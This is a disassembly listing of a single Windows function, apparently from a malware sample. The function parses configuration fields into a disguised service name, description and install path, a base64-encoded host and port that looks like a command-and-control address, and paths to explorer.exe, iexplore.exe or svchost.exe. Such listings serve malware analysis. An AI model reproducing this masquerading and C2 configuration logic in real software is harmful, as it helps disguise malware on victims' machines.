Function at 0x403770
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push 0x415134
call fcn.00409390
push eax
call fcn.00409390
push eax
call fcn.00409390
xor esi, esi
push 0x415f54
push eax
xor ebx, ebx
mov dword [esp + 0x20], esi
call fcn.0040aab4
mov ebp, eax
add esp, 0x14
cmp ebp, ebx
je 0x403be2
push edi
cmp esi, ebx
jne 0x4037df
mov ecx, 0x20
xor eax, eax
mov edi, str.WMMNetworkMpp
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.WMMNetworkMpp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x403bbb
cmp esi, 1
jne 0x40380b
mov ecx, 0x20
xor eax, eax
mov edi, str.Windows_Movie_Maker_Network_Sharing_ServiceIgb
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.Windows_Movie_Maker_Network_Sharing_ServiceIgb
jmp 0x403bb4
cmp esi, 2
jne 0x40383e
mov ecx, 0x40
xor eax, eax
mov edi, str.Physical_devices_to_share_Windows_Movie_Maker_NetworkVcr_Library.
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.Physical_devices_to_share_Windows_Movie_Maker_NetworkVcr_Library.
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x403bbb
cmp esi, 3
jne 0x40386a
mov ecx, 0x40
xor eax, eax
mov edi, str.Z2pzOC5jb206NTUzMw
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.Z2pzOC5jb206NTUzMw
jmp 0x403bb4
cmp esi, 4
jne 0x4038ad
mov ecx, 0x20
xor eax, eax
mov edi, 0x415b7c
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403bc0
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x415b7c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x403bbb
cmp esi, 5
jne 0x4038d9
mov ecx, 0x20
xor eax, eax
mov edi, str.Program_Files
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.Program_Files
jmp 0x403bb4
cmp esi, 6
jne 0x403bc0
mov ecx, 0x20
xor eax, eax
mov edi, 0x415c7c
push ebp
rep stosd dword es:[edi], eax
call fcn.00409390
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push 0x20
push eax
push str.SYSTEMDRIVE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov byte [esp + 0x15], bl
mov esi, ebp
mov eax, str.ZXhwbG9yZXIuZXhl
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40394e
cmp cl, bl
je 0x40394a
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40394e
add eax, 2
add esi, 2
cmp cl, bl
jne 0x40392a
xor eax, eax
jmp 0x403953
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x403a02
or ecx, 0xffffffff
lea edi, [esp + 0x14]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x415c7c
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.:windowsexp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x415c7c
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.lorer
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x415c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x415c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebp
mov eax, str.aWV4cGxvcmUuZXhl
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403a2d
cmp cl, bl
je 0x403a29
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403a2d
add eax, 2
add esi, 2
cmp cl, bl
jne 0x403a09
xor eax, eax
jmp 0x403a32
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x403ae1
or ecx, 0xffffffff
lea edi, [esp + 0x14]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x415c7c
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.:Program_FilesInternet_Exploreriexp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x415c7c
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.lore
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x415c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x415c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebp
mov eax, str.c3ZjaG9zdC5leGU
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403b0c
cmp cl, bl
je 0x403b08
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403b0c
add eax, 2
add esi, 2
cmp cl, bl
jne 0x403ae8
xor eax, eax
jmp 0x403b11
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x403bc0
or ecx, 0xffffffff
lea edi, [esp + 0x14]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x415c7c
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.:windows_system32_svc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x415c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.host
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x415c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x415c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x415f54
push ebx
call fcn.0040aab4
mov esi, dword [esp + 0x18]
add esp, 8
mov ebp, eax
inc esi
cmp ebp, ebx
mov dword [esp + 0x10], esi
jne 0x4037ad
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret